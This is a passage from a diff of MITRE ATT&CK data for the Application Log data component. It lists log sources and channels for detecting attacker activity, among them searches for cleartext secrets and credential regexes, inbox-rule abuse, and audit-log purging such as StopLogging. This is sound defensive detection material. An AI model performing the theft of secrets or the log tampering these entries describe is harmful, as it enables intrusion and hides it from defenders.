"ApplicationLog:EntraIDPortal", + "channel": "DeviceRegistration events" + }, + { + "name": "ApplicationLog:Intune/MDM Logs", + "channel": "Enrollment events (e.g., MDMDeviceRegistration)" + }, + { + "name": "m365:purview", + "channel": "MailItemsAccessed & Exchange Audit" + }, + { + "name": "m365:purview", + "channel": "MailItemsAccessed, Search-Mailbox events" + }, + { + "name": "WinEventLog:Application", + "channel": "Office Add-in load errors, abnormal loading context, or unsigned add-in warnings" + }, + { + "name": "m365:unified", + "channel": "SendOnBehalf, MessageSend, ClickThrough, MailItemsAccessed" + }, + { + "name": "Application:Mail", + "channel": "smtpd$.*$: .*from=[.*@internaldomain.com](mailto:.*@internaldomain.com) to=[.*@internaldomain.com](mailto:.*@internaldomain.com)" + }, + { + "name": "saas:slack", + "channel": "file_upload, message_send, message_click" + }, + { + "name": "saas:teams", + "channel": "ChatMessageSent, ChatMessageEdited, LinkClick" + }, + { + "name": "saas:gmail", + "channel": "SendEmail, OpenAttachment, ClickLink" + }, + { + "name": "m365:unified", + "channel": "SendOnBehalf, MessageSend, AttachmentPreviewed" + }, + { + "name": "WinEventLog:System", + "channel": "Changes to applicationhost.config or DLLs loaded by w3wp.exe" + }, + { + "name": "WinEventLog:Security", + "channel": "EventCode=6416" + }, + { + "name": "WinEventLog:Microsoft-Windows-DriverFrameworks-UserMode/Operational", + "channel": "Device started/installed (UMDF) GUIDs" + }, + { + "name": "linux:syslog", + "channel": "usb * new|thunderbolt|pci .* added|block.*: new .* device" + }, + { + "name": "macos:unifiedlog", + "channel": "Device attached|enumerated VID/PID" + }, + { + "name": "m365:unified", + "channel": "Send/Receive: Emails with suspicious sender domains, spoofed headers, or anomalous attachment types" + }, + { + "name": "Application:Mail", + "channel": "Inbound messages with anomalous headers, spoofed SPF/DKIM failures" + }, + { + "name": "macos:unifiedlog", + "channel": "Inbound email activity with suspicious domains or mismatched sender information" + }, + { + "name": "m365:unified", + "channel": "FileAccessed: Access of email attachments by Office applications" + }, + { + "name": "saas:collaboration", + "channel": "MessagePosted: Suspicious links or attachment delivery via collaboration tools (Slack, Teams, Zoom)" + }, + { + "name": "ApplicationLog:IIS", + "channel": "IIS W3C logs in C:\\inetpub\\logs\\LogFiles\\W3SVC* (spikes in 5xx, RCE/SQLi/path traversal/JNDI patterns)" + }, + { + "name": "ApplicationLog:WebServer", + "channel": "/var/log/httpd/access_log, /var/log/apache2/access.log, /var/log/nginx/access.log with exploit indicators and burst errors" + }, + { + "name": "macos:unifiedlog", + "channel": "App/web server logs ingested via unified logging or filebeat (nginx/apache/node)." + }, + { + "name": "ApplicationLog:Ingress", + "channel": "Kubernetes NGINX/Envoy ingress controller logs with anomalous payloads and 5xx spikes" + }, + { + "name": "esxi:hostd", + "channel": "/var/log/hostd.log anomalies (faults, crashes, restarts) around inbound connections" + }, + { + "name": "esxi:vmkernel", + "channel": "vmkernel / OpenSLP logs for malformed requests" + }, + { + "name": "networkdevice:controlplane", + "channel": "Syslog from edge devices with HTTP 500s on mgmt portal, SmartInstall events, unexpected CLI commands" + }, + { + "name": "WinEventLog:Application", + "channel": "Outlook rule execution failure or abnormal rule execution context" + }, + { + "name": "m365:unified", + "channel": "Creation or modification of inbox rule outside of normal user behavior" + }, + { + "name": "m365:unified", + "channel": "Send/Receive: Inbound emails containing embedded or shortened URLs" + }, + { + "name": "Application:Mail", + "channel": "Inbound emails containing hyperlinks from suspicious sources" + }, + { + "name": "macos:unifiedlog", + "channel": "Received messages with embedded or shortened URLs" + }, + { + "name": "azure:signinLogs", + "channel": "ConsentGrant: Suspicious consent grants to non-approved or unknown applications" + }, + { + "name": "m365:unified", + "channel": "AppRegistration: Unexpected application registration or OAuth authorization" + }, + { + "name": "m365:unified", + "channel": "MessageSend, MessageRead, or FileAttached events containing credential-like patterns" + }, + { + "name": "m365:exchange", + "channel": "Emails containing cleartext secrets (password=, api_key=, token=) shared across internal/external domains" + }, + { + "name": "saas:slack", + "channel": "chat.postMessage, files.upload, or discovery API calls involving token/credential regex" + }, + { + "name": "linux:syslog", + "channel": "Inbound messages from webmail services containing attachments or URLs" + }, + { + "name": "macos:unifiedlog", + "channel": "Received messages containing embedded links or attachments from non-enterprise services" + }, + { + "name": "WinEventLog:System", + "channel": "EventCode=7031,7034,1000,1001" + }, + { + "name": "linux:syslog", + "channel": "kernel|systemd messages indicating 'segmentation fault'|'core dumped'|'service terminated unexpectedly' for sshd, smbd, vsftpd, mysqld, httpd, etc." + }, + { + "name": "esxi:hostd", + "channel": "Keywords: 'Backtrace','Signal 11','PANIC','hostd restarted','assert' or 'Service terminated unexpectedly' in /var/log/hostd.log, /var/log/vmkernel.log, /var/log/syslog.log." + }, + { + "name": "macos:unifiedlog", + "channel": "process 'crashed'|'EXC_BAD_ACCESS' for sshd, screensharingd, httpd; launchd restarts of these daemons." + }, + { + "name": "esxi:hostd", + "channel": "unexpected script/command invocations via hostd" + }, + { + "name": "linux:syslog", + "channel": "System daemons initiating encrypted sessions with unexpected destinations" + }, + { + "name": "esxi:vpxd", + "channel": "Symmetric crypto routines triggered for external session" + }, + { + "name": "AWS:CloudTrail", + "channel": "SendEmail" + }, + { + "name": "AWS:CloudTrail", + "channel": "InvokeModel" + }, + { + "name": "saas:openai", + "channel": "High volume of requests to /v1/chat/completions or /v1/images/generations" + }, + { + "name": "m365:unified", + "channel": "Set-Mailbox, Add-InboxRule, RegisterWebhook" + }, + { + "name": "saas:application", + "channel": "High-frequency invocation of SMS-related API endpoints from publicly accessible OTP or verification forms (e.g., Twilio: SendMessage, Cognito: AdminCreateUser) with irregular destination patterns." + }, + { + "name": "NSM:Connections", + "channel": "PushNotificationSent" + }, + { + "name": "saas:okta", + "channel": "MFAChallengeIssued" + }, + { + "name": "WinEventLog:Application", + "channel": "Exchange Transport Service loads unusual .NET assembly or errors upon transport agent execution" + }, + { + "name": "linux:syslog", + "channel": "milter configuration updated, transport rule initialized, unexpected script execution" + }, + { + "name": "WinEventLog:Application", + "channel": "Unexpected spikes in request volume, application-level errors, or thread pool exhaustion in web or API logs" + }, + { + "name": "linux:syslog", + "channel": "Repetitive HTTP 408, 500, or 503 errors logged within short timeframe" + }, + { + "name": "macos:unifiedlog", + "channel": "opendirectoryd crashes or abnormal authentication errors" + }, + { + "name": "m365:unified", + "channel": "ConsentGranted: Abuse of application integrations to mint tokens bypassing MFA" + }, + { + "name": "WinEventLog:Application", + "channel": "Browser or plugin/application logs showing script errors, plugin enumerations, or unusual extension load events" + }, + { + "name": "linux:syslog", + "channel": "Application or browser logs (webview errors, plugin enumerations) indicating suspicious script evaluation or plugin loads" + }, + { + "name": "macos:unifiedlog", + "channel": "Logs from unifiedlogging that show browser crashes, plugin enumerations, extension installs or errors around the same time as suspicious network fetches" + }, + { + "name": "m365:unified", + "channel": "Application Consent grants, new OAuth client registrations, or unusual admin-level activities executed by a user account shortly after suspected drive-by compromise" + }, + { + "name": "WinEventLog:Application", + "channel": "Outlook logs indicating failure to load or render HTML page in Home Page view" + }, + { + "name": "m365:unified", + "channel": "Folder configuration updated with external or HTML-formatted Home Page via Set-MailboxFolder" + }, + { + "name": "WinEventLog:Security", + "channel": "EventCode=1102" + }, + { + "name": "linux:cli", + "channel": "cleared or truncated .bash_history" + }, + { + "name": "macos:unifiedlog", + "channel": "log stream cleared or truncated" + }, + { + "name": "m365:unified", + "channel": "PurgeAuditLogs, Remove-MailboxAuditLog" + }, + { + "name": "WinEventLog:System", + "channel": "EventCode=104" + }, + { + "name": "WinEventLog:Application", + "channel": "EventCode=1000-1026" + }, + { + "name": "EDR:detection", + "channel": "ThreatDetected, QuarantineLog" + }, + { + "name": "macos:unifiedlog", + "channel": "quarantine or AV-related subsystem" + }, + { + "name": "EDR:detection", + "channel": "ThreatLog" + }, + { + "name": "azure:signinlogs", + "channel": "Modify Conditional Access Policy" + }, + { + "name": "m365:unified", + "channel": "Set-CsOnlineUser or UpdateAuthPolicy" + }, + { + "name": "m365:unified", + "channel": "New-InboxRule or Set-InboxRule events recorded in Exchange Online" + }, + { + "name": "ApplicationLog:MailServer", + "channel": "Unexpected additions of sieve rules or filtering directives" + }, + { + "name": "m365:unified", + "channel": "Transport rule or inbox rule creation events" + }, + { + "name": "ApplicationLog:Outlook", + "channel": "Outlook client-level rule creation actions not consistent with normal user activity" + }, + { + "name": "kubernetes:orchestrator", + "channel": "Access to orchestrator logs containing credentials (Docker/Kubernetes logs)" + }, + { + "name": "WinEventLog:Application", + "channel": "Service crash, unhandled exception, or application hang warnings for critical services (e.g., IIS, DNS, SQL Server)" + }, + { + "name": "journald:systemd", + "channel": "Repeated service restart attempts or unit failures" + }, + { + "name": "macos:unifiedlog", + "channel": "Repeated process crashes logged by CrashReporter or system instability logs in com.apple.console" + }, + { + "name": "docker:events", + "channel": "Container exited with non-zero code repeatedly in short period" + }, + { + "name": "WinEventLog:Application", + "channel": "SCCM, Intune logs" + }, + { + "name": "macos:jamf", + "channel": "RemoteCommandExecution" + }, + { + "name": "networkdevice:syslog", + "channel": "config push events" + }, + { + "name": "linux:syslog", + "channel": "processes binding to non-standard ports or sshd configured on unexpected port" + }, + { + "name": "m365:unified", + "channel": "GAL Lookup or Address Book download" + }, + { + "name": "esxi:hostd", + "channel": "Guest Operations API invocation: StartProgramInGuest, ListProcessesInGuest, ListFileInGuest, InitiateFileTransferFromGuest" + }, + { + "name": "m365:unified", + "channel": "Send/Receive: Inbound emails with attachments from suspicious or spoofed senders" + }, + { + "name": "Application:Mail", + "channel": "Inbound email attachments logged from MTAs with suspicious metadata" + }, + { + "name": "macos:unifiedlog", + "channel": "Inbound messages with attachments from suspicious domains" + }, + { + "name": "WinEventLog:Application", + "channel": "Unexpected web application errors or CMS logs showing modification to index.html, default.aspx, or other public-facing files" + }, + { + "name": "m365:unified", + "channel": "certificate added or modified in application credentials" + }, + { + "name": "saas:Snowflake", + "channel": "QUERY: Large or repeated SELECT * queries to sensitive tables" + }, + { + "name": "saas:Airtable", + "channel": "EXPORT: User-triggered data export via GUI or API" + }, + { + "name": "ApplicationLog:CallRecords", + "channel": "Outbound or inbound calls to high-risk or blocklisted numbers" + }, + { + "name": "networkdevice:syslog", + "channel": "SIP REGISTER, INVITE, or unusual call destination metadata" + }, + { + "name": "macos:unifiedlog", + "channel": "Outgoing or incoming calls with non-standard caller IDs or unusual metadata" + }, + { + "name": "m365:unified", + "channel": "Unusual MFA requests or OAuth consent events temporally aligned with user-reported vishing call" + }, + { + "name": "docker:daemon", + "channel": "container_create,container_start" + }, + { + "name": "saas:github", + "channel": "Bulk access to multiple files or large volume of repo requests within short time window" + }, + { + "name": "m365:exchange", + "channel": "Transport Rule Modification" + }, + { + "name": "m365:exchange", + "channel": "Admin Audit Logs, Transport Rules" + }, + { + "name": "saas:application", + "channel": "High-volume API calls or traffic via messaging or webhook service" + }, + { + "name": "m365:unified", + "channel": "Set federation settings on domain|Set domain authentication|Add federated identity provider" + }, + { + "name": "linux:syslog", + "channel": "system daemons initiating TLS sessions outside expected services" + }, + { + "name": "m365:unified", + "channel": "SendOnBehalf/SendAs: Emails sent where the sending identity mismatches account ownership" + }, + { + "name": "Application:Mail", + "channel": "Mismatch between authenticated username and From header in email" + }, + { + "name": "macos:unifiedlog", + "channel": "Mail.app or third-party clients sending messages with mismatched From headers" + }, + { + "name": "gcp:workspaceaudit", + "channel": "SendAs: Outbound messages with alias identities that differ from primary account" + }, + { + "name": "m365:unified", + "channel": "Set-MailboxAutoReplyConfiguration: Unexpected rule changes creating impersonated replies" + }, + { + "name": "m365:unified", + "channel": "SendOnBehalf/SendAs: Office Suite initiated messages using impersonated identities" + }, + { + "name": "WinEventLog:Application", + "channel": "EventCode=1000" + }, + { + "name": "linux:syslog", + "channel": "browser/office crash, segfault, abnormal termination" + }, + { + "name": "macos:unifiedlog", + "channel": "process crash, abort, code signing violations" + }, + { + "name": "saas:okta", + "channel": "WebUI access to administrator dashboard" + }, + { + "name": "m365:unified", + "channel": "Read-only configuration review from GUI" + }, + { + "name": "saas:box", + "channel": "User navigated to admin interface" + }, + { + "name": "azure:signinlogs", + "channel": "Register PTA Agent or Modify AD FS trust" + }, + { + "name": "m365:unified", + "channel": "Modify Federation Settings or Update Authentication Policy" + }, + { + "name": "saas:okta", + "channel": "Federation configuration update or signing certificate change" + }, + { + "name": "macos:unifiedlog", + "channel": "Configuration profile modified or new profile installed" + }, + { + "name": "WinEventLog:Application", + "channel": "EventCode=1000, 1001, 1002" + }, + { + "name": "journald:Application", + "channel": "Segfault or crash log entry associated with specific application binary" + }, + { + "name": "macos:unifiedlog", + "channel": "Crash log entries for a process receiving malformed input or known exploit patterns" + }, + { + "name": "AWS:CloudWatch", + "channel": "Repeated crash pattern within container or instance logs" + }, + { + "name": "esxi:hostd", + "channel": "unexpected script invocations producing long encoded strings" + }, + { + "name": "docker:runtime", + "channel": "execution of cloud CLI tool (e.g., aws, az) inside container" + }, + { + "name": "WinEventLog:Application", + "channel": "VPN, Citrix, or remote access gateway logs showing external IP addresses" + }, + { + "name": "NSM:Connections", + "channel": "Failed password or accepted password for SSH users" + }, + { + "name": "ApplicationLog:API", + "channel": "Docker/Kubernetes API access from external sources" + }, + { + "name": "m365:unified", + "channel": "Send/Receive: Unusual spikes in inbound messages to a single recipient" + }, + { + "name": "Application:Mail", + "channel": "High-frequency inbound mail activity to a specific recipient address" + }, + { + "name": "m365:exchange", + "channel": "MailDelivery: High-frequency delivery of messages or attachments to a single recipient" + }, + { + "name": "macos:unifiedlog", + "channel": "Repetitive inbound email delivery activity logged within a short time window" + }, + { + "name": "saas:confluence", + "channel": "access.content" + }, + { + "name": "m365:unified", + "channel": "PowerShell: Add-MailboxPermission" + }, + { + "name": "AWS:CloudTrail", + "channel": "InvokeFunction: Unexpected or repeated invocation of functions not tied to known workflows" + }, + { + "name": "m365:exchange", + "channel": "New-InboxRule: Automation that triggers abnormal forwarding or external link generation" + }, + { + "name": "saas:googledrive", + "channel": "FileOpen / FileAccess: Event-driven script triggering on user file actions" + }, + { + "name": "networkdevice:syslog", + "channel": "Failed authentication requests redirected to non-standard portals" + }, + { + "name": "saas:okta", + "channel": "System API Call: user.read, group.read" + }, + { + "name": "esxi:hostd", + "channel": "Host daemon command log entries related to vib enumeration" + }, + { + "name": "m365:unified", + "channel": "Add-MailboxPermission or Set-ManagementRoleAssignment" + }, + { + "name": "WinEventLog:Application", + "channel": "Outlook rule creation, form load, or homepage redirection" + }, + { + "name": "m365:mailboxaudit", + "channel": "Outlook rule creation or custom form deployment" + }, + { + "name": "saas:zoom", + "channel": "unusual web session tokens and automation patterns during login" + }, + { + "name": "WinEventLog:Application", + "channel": "High-frequency errors or hangs from resource-intensive application components (e.g., .NET, IIS, Office Suite)" + }, + { + "name": "linux:syslog", + "channel": "Error/warning logs from services indicating load spike or worker exhaustion" + }, + { + "name": "macos:unifiedlog", + "channel": "Application errors or resource contention from excessive frontend or script invocation" + }, + { + "name": "AWS:CloudWatch", + "channel": "Elevated 5xx response rates in application logs or gateway layer" + }, + { + "name": "m365:messagetrace", + "channel": "AuthenticationDetails=fail OR SPF=fail OR DKIM=fail OR DMARC=fail" + }, + { + "name": "linux:syslog", + "channel": "SPF fail OR DKIM fail OR DMARC fail OR mismatched from_domain vs return_path_domain" + }, + { + "name": "macos:unifiedlog", + "channel": "SPF fail OR DKIM fail OR DMARC fail OR mismatched header vs envelope domains" + }, + { + "name": "saas:email", + "channel": "AuthenticationFailures (SPF/DKIM/DMARC) OR Domain Mismatch" + }, + { + "name": "WinEventLog:System", + "channel": "EventCode=1341,1342,1020,1063" + }, + { + "name": "linux:syslog", + "channel": "suspicious DHCP lease assignment with unexpected DNS or gateway" + }, + { + "name": "macos:unifiedlog", + "channel": "new DHCP configuration with anomalous DNS or router values" + }, + { + "name": "WinEventLog:Application", + "channel": "Exchange logs or header artifacts" + }, + { + "name": "macos:unifiedlog", + "channel": "Mail or AppleScript subsystem" + }, + { + "name": "m365:exchange", + "channel": "MessageTrace logs" + }, + { + "name": "WinEventLog:Application", + "channel": "EventCode=1000,1001" + }, + { + "name": "linux:syslog", + "channel": "opened document|clicked link|segfault|abnormal termination|sandbox" + }, + { + "name": "macos:unifiedlog", + "channel": "opened document|clicked link|EXC_BAD_ACCESS|abort|LSQuarantine" + }, + { + "name": "WinEventLog:Security", + "channel": "EventCode=4663" + }, + { + "name": "m365:unified", + "channel": "Set-PartnerOfRecord / CompanyAdministrator role assignments / New-DelegatedAdminRelationship" + }, + { + "name": "AWS:CloudTrail", + "channel": "CreateUser|AttachRolePolicy|CreateAccessKey|UpdateAssumeRolePolicy|CreateLoginProfile" + }, + { + "name": "azure:activity", + "channel": "Add role assignment / ElevateAccess / Create service principal" + }, + { + "name": "saas:googleworkspace", + "channel": "OAuth2 authorization grants / Admin role assignments" + }, + { + "name": "m365:unified", + "channel": "Add-DelegatedAdmin, Set-PartnerOfRecord, Add-MailboxPermission, Set-OrganizationRelationship" + }, + { + "name": "linux:syslog", + "channel": "Authentication attempts into finance-related servers from unusual IPs or times" + }, + { + "name": "macos:unifiedlog", + "channel": "Anomalous keychain access attempts targeting payment credentials" + }, + { + "name": "saas:finance", + "channel": "Transaction/Transfer: Unusual or large transactions initiated outside business hours or by unusual accounts" + }, + { + "name": "saas:audit", + "channel": "Rule/ConfigChange: Auto-forward rules, delegate assignments, or changes to financial approval workflows" + }, + { + "name": "m365:unified", + "channel": "MailSend: Outlook messages with suspicious subject/body terms (e.g., urgent payment, wire transfer) targeting finance teams" + }, + { + "name": "m365:unified", + "channel": "FileAccessed, FileDownloaded, SearchQueried" + }, + { + "name": "m365:unified", + "channel": "Detection of hidden macro streams or SetHiddenAttribute actions" + }, + { + "name": "m365:unified", + "channel": "RunMacro" + }, + { + "name": "azure:audit", + "channel": "App registrations or consent grants by abnormal users or at unusual times" + }, + { + "name": "azure:signinlogs", + "channel": "Resource access initiated using application credentials, not user accounts" + }, + { + "name": "saas:slack", + "channel": "OAuth token use by unknown app client_id accessing private channels or files" + }, + { + "name": "esxi:esxupdate", + "channel": "/var/log/esxupdate.log contains VIB installed with `--force` or `--no-sig-check` and non-standard acceptance levels" + }, + { + "name": "linux:syslog", + "channel": "sshd sessions with unusual port forwarding parameters" + }, + { + "name": "saas:audit", + "channel": "Application added or consent granted: Integration persisting after original user disabled" + }, + { + "name": "linux:syslog", + "channel": "Non-standard processes negotiating SSL/TLS key exchanges" + }, + { + "name": "esxi:vpxd", + "channel": "ESXi process initiating asymmetric handshake with external host" + }, + { + "name": "WinEventLog:Application", + "channel": "Unusual DLL/plugin registration for IIS/SQL/Apache or unexpected error logs" + }, + { + "name": "linux:syslog", + "channel": "Module registration or stacktrace logs indicating segmentation faults or unknown module errors" + }, + { + "name": "esxi:hostd", + "channel": "New extension/module install with unknown vendor ID" + }, + { + "name": "m365:unified", + "channel": "FileUploaded or FileCopied events" + }, + { + "name": "saas:salesforce", + "channel": "DataExport, RestAPI, Login, ReportExport" + }, + { + "name": "saas:hubspot", + "channel": "contact_viewed, contact_exported, login" + }, + { + "name": "saas:slack", + "channel": "conversations.history, files.list, users.info, audit_logs" + }, + { + "name": "m365:unified", + "channel": "TeamsMessageAccess, TeamsExport, ExternalAppAccess" + }, + { + "name": "m365:unified", + "channel": "TeamsMessagesAccessedViaEDiscovery, TeamsGraphMessageExport" + }, + { + "name": "m365:unified", + "channel": "FileAccessed" + }, + { + "name": "m365:messagetrace", + "channel": "X-MS-Exchange-Organization-AutoForwarded" + }, + { + "name": "linux:syslog", + "channel": "Segfaults, kernel oops, or crashes in security software processes" + }, + { + "name": "macos:unifiedlog", + "channel": "Abnormal terminations of com.apple.security.* or 3rd-party security daemons" + }, + { + "name": "AWS:CloudTrail", + "channel": "StopLogging, DeleteTrail, UpdateTrail: API calls that disable or modify logging services" + }, + { + "name": "m365:unified", + "channel": "ApplicationModified, ConsentGranted: Unexpected app consent or modification events linked to security evasion" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "2.0", + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "ics-attack", + "enterprise-attack" + ], + "detailed_diff": "{\"dictionary_item_added\": {\"root['external_references']\": [{\"source_name\": \"mitre-attack\", \"url\": \"https://attack.mitre.org/datacomponents/DC0038\", \"external_id\": \"DC0038\"}], \"root['x_mitre_log_sources']\": [{\"name\": \"Application Log\", \"channel\": \"None\"}, {\"name\": \"WinEventLog:Application\", \"channel\": \"Outlook errors loading or processing custom form templates\"}, {\"name\": \"m365:unified\", \"channel\": \"Unusual form activity within Outlook client, including load of non-default forms\"}, {\"name\": \"saas:okta\", \"channel\": \"Conditional Access policy rule modified or MFA requirement disabled\"}, {\"name\": \"ApplicationLog:EntraIDPortal\", \"channel\": \"DeviceRegistration events\"}, {\"name\": \"ApplicationLog:Intune/MDM Logs\", \"channel\": \"Enrollment events (e.g., MDMDeviceRegistration)\"}, {\"name\": \"m365:purview\", \"channel\": \"MailItemsAccessed & Exchange Audit\"}, {\"name\": \"m365:purview\", \"channel\": \"MailItemsAccessed, Search-Mailbox events\"}, {\"name\": \"WinEventLog:Application\", \"channel\": \"Office Add-in load errors, abnormal loading context, or unsigned add-in warnings\"}, {\"name\": \"m365:unified\", \"channel\": \"SendOnBehalf, MessageSend, ClickThrough, MailItemsAccessed\"}, {\"name\": \"Application:Mail\", \"channel\": \"smtpd$.*$: .*from=[.*@internaldomain.com](mailto:.*@internaldomain.com) to=[.*@internaldomain.com](mailto:.*@internaldomain.com)\"}, {\"name\": \"saas:slack\", \"channel\": \"file_upload, message_send, message_click\"}, {\"name\": \"saas:teams\", \"channel\": \"ChatMessageSent, ChatMessageEdited, LinkClick\"}, {\"name\": \"saas:gmail\", \"channel\": \"SendEmail, OpenAttachment, ClickLink\"}, {\"name\": \"m365:unified\", \"channel\": \"SendOnBehalf, MessageSend, AttachmentPreviewed\"}, {\"name\": \"WinEventLog:System\", \"channel\": \"Changes to applicationhost.config or DLLs loaded by w3wp.exe\"}, {\"name\": \"WinEventLog:Security\", \"channel\": \"EventCode=6416\"}, {\"name\": \"WinEventLog:Microsoft-Windows-DriverFrameworks-UserMode/Operational\", \"channel\": \"Device started/installed (UMDF) GUIDs\"}, {\"name\": \"linux:syslog\", \"channel\": \"usb * new|thunderbolt|pci .* added|block.*: new .* device\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Device attached|enumerated VID/PID\"}, {\"name\": \"m365:unified\", \"channel\": \"Send/Receive: Emails with suspicious sender domains, spoofed headers, or anomalous attachment types\"}, {\"name\": \"Application:Mail\", \"channel\": \"Inbound messages with anomalous headers, spoofed SPF/DKIM failures\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Inbound email activity with suspicious domains or mismatched sender information\"}, {\"name\": \"m365:unified\", \"channel\": \"FileAccessed: Access of email attachments by Office applications\"}, {\"name\": \"saas:collaboration\", \"channel\": \"MessagePosted: Suspicious links or attachment delivery via collaboration tools (Slack, Teams, Zoom)\"}, {\"name\": \"ApplicationLog:IIS\", \"channel\": \"IIS W3C logs in C:\\\\inetpub\\\\logs\\\\LogFiles\\\\W3SVC* (spikes in 5xx, RCE/SQLi/path traversal/JNDI patterns)\"}, {\"name\": \"ApplicationLog:WebServer\", \"channel\": \"/var/log/httpd/access_log, /var/log/apache2/access.log, /var/log/nginx/access.log with exploit indicators and burst errors\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"App/web server logs ingested via unified logging or filebeat (nginx/apache/node).\"}, {\"name\": \"ApplicationLog:Ingress\", \"channel\": \"Kubernetes NGINX/Envoy ingress controller logs with anomalous payloads and 5xx spikes\"}, {\"name\": \"esxi:hostd\", \"channel\": \"/var/log/hostd.log anomalies (faults, crashes, restarts) around inbound connections\"}, {\"name\": \"esxi:vmkernel\", \"channel\": \"vmkernel / OpenSLP logs for malformed requests\"}, {\"name\": \"networkdevice:controlplane\", \"channel\": \"Syslog from edge devices with HTTP 500s on mgmt portal, SmartInstall events, unexpected CLI commands\"}, {\"name\": \"WinEventLog:Application\", \"channel\": \"Outlook rule execution failure or abnormal rule execution context\"}, {\"name\": \"m365:unified\", \"channel\": \"Creation or modification of inbox rule outside of normal user behavior\"}, {\"name\": \"m365:unified\", \"channel\": \"Send/Receive: Inbound emails containing embedded or shortened URLs\"}, {\"name\": \"Application:Mail\", \"channel\": \"Inbound emails containing hyperlinks from suspicious sources\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Received messages with embedded or shortened URLs\"}, {\"name\": \"azure:signinLogs\", \"channel\": \"ConsentGrant: Suspicious consent grants to non-approved or unknown applications\"}, {\"name\": \"m365:unified\", \"channel\": \"AppRegistration: Unexpected application registration or OAuth authorization\"}, {\"name\": \"m365:unified\", \"channel\": \"MessageSend, MessageRead, or FileAttached events containing credential-like patterns\"}, {\"name\": \"m365:exchange\", \"channel\": \"Emails containing cleartext secrets (password=, api_key=, token=) shared across internal/external domains\"}, {\"name\": \"saas:slack\", \"channel\": \"chat.postMessage, files.upload, or discovery API calls involving token/credential regex\"}, {\"name\": \"linux:syslog\", \"channel\": \"Inbound messages from webmail services containing attachments or URLs\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Received messages containing embedded links or attachments from non-enterprise services\"}, {\"name\": \"WinEventLog:System\", \"channel\": \"EventCode=7031,7034,1000,1001\"}, {\"name\": \"linux:syslog\", \"channel\": \"kernel|systemd messages indicating 'segmentation fault'|'core dumped'|'service terminated unexpectedly' for sshd, smbd, vsftpd, mysqld, httpd, etc.\"}, {\"name\": \"esxi:hostd\", \"channel\": \"Keywords: 'Backtrace','Signal 11','PANIC','hostd restarted','assert' or 'Service terminated unexpectedly' in /var/log/hostd.log, /var/log/vmkernel.log, /var/log/syslog.log.\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"process 'crashed'|'EXC_BAD_ACCESS' for sshd, screensharingd, httpd; launchd restarts of these daemons.\"}, {\"name\": \"esxi:hostd\", \"channel\": \"unexpected script/command invocations via hostd\"}, {\"name\": \"linux:syslog\", \"channel\": \"System daemons initiating encrypted sessions with unexpected destinations\"}, {\"name\": \"esxi:vpxd\", \"channel\": \"Symmetric crypto routines triggered for external session\"}, {\"name\": \"AWS:CloudTrail\", \"channel\": \"SendEmail\"}, {\"name\": \"AWS:CloudTrail\", \"channel\": \"InvokeModel\"}, {\"name\": \"saas:openai\", \"channel\": \"High volume of requests to /v1/chat/completions or /v1/images/generations\"}, {\"name\": \"m365:unified\", \"channel\": \"Set-Mailbox, Add-InboxRule, RegisterWebhook\"}, {\"name\": \"saas:application\", \"channel\": \"High-frequency invocation of SMS-related API endpoints from publicly accessible OTP or verification forms (e.g., Twilio: SendMessage, Cognito: AdminCreateUser) with irregular destination patterns.\"}, {\"name\": \"NSM:Connections\", \"channel\": \"PushNotificationSent\"}, {\"name\": \"saas:okta\", \"channel\": \"MFAChallengeIssued\"}, {\"name\": \"WinEventLog:Application\", \"channel\": \"Exchange Transport Service loads unusual .NET assembly or errors upon transport agent execution\"}, {\"name\": \"linux:syslog\", \"channel\": \"milter configuration updated, transport rule initialized, unexpected script execution\"}, {\"name\": \"WinEventLog:Application\", \"channel\": \"Unexpected spikes in request volume, application-level errors, or thread pool exhaustion in web or API logs\"}, {\"name\": \"linux:syslog\", \"channel\": \"Repetitive HTTP 408, 500, or 503 errors logged within short timeframe\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"opendirectoryd crashes or abnormal authentication errors\"}, {\"name\": \"m365:unified\", \"channel\": \"ConsentGranted: Abuse of application integrations to mint tokens bypassing MFA\"}, {\"name\": \"WinEventLog:Application\", \"channel\": \"Browser or plugin/application logs showing script errors, plugin enumerations, or unusual extension load events\"}, {\"name\": \"linux:syslog\", \"channel\": \"Application or browser logs (webview errors, plugin enumerations) indicating suspicious script evaluation or plugin loads\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Logs from unifiedlogging that show browser crashes, plugin enumerations, extension installs or errors around the same time as suspicious network fetches\"}, {\"name\": \"m365:unified\", \"channel\": \"Application Consent grants, new OAuth client registrations, or unusual admin-level activities executed by a user account shortly after suspected drive-by compromise\"}, {\"name\": \"WinEventLog:Application\", \"channel\": \"Outlook logs indicating failure to load or render HTML page in Home Page view\"}, {\"name\": \"m365:unified\", \"channel\": \"Folder configuration updated with external or HTML-formatted Home Page via Set-MailboxFolder\"}, {\"name\": \"WinEventLog:Security\", \"channel\": \"EventCode=1102\"}, {\"name\": \"linux:cli\", \"channel\": \"cleared or truncated .bash_history\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"log stream cleared or truncated\"}, {\"name\": \"m365:unified\", \"channel\": \"PurgeAuditLogs, Remove-MailboxAuditLog\"}, {\"name\": \"WinEventLog:System\", \"channel\": \"EventCode=104\"}, {\"name\": \"WinEventLog:Application\", \"channel\": \"EventCode=1000-1026\"}, {\"name\": \"EDR:detection\", \"channel\": \"ThreatDetected, QuarantineLog\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"quarantine or AV-related subsystem\"}, {\"name\": \"EDR:detection\", \"channel\": \"ThreatLog\"}, {\"name\": \"azure:signinlogs\", \"channel\": \"Modify Conditional Access Policy\"}, {\"name\": \"m365:unified\", \"channel\": \"Set-CsOnlineUser or UpdateAuthPolicy\"}, {\"name\": \"m365:unified\", \"channel\": \"New-InboxRule or Set-InboxRule events recorded in Exchange Online\"}, {\"name\": \"ApplicationLog:MailServer\", \"channel\": \"Unexpected additions of sieve rules or filtering directives\"}, {\"name\": \"m365:unified\", \"channel\": \"Transport rule or inbox rule creation events\"}, {\"name\": \"ApplicationLog:Outlook\", \"channel\": \"Outlook client-level rule creation actions not consistent with normal user activity\"}, {\"name\": 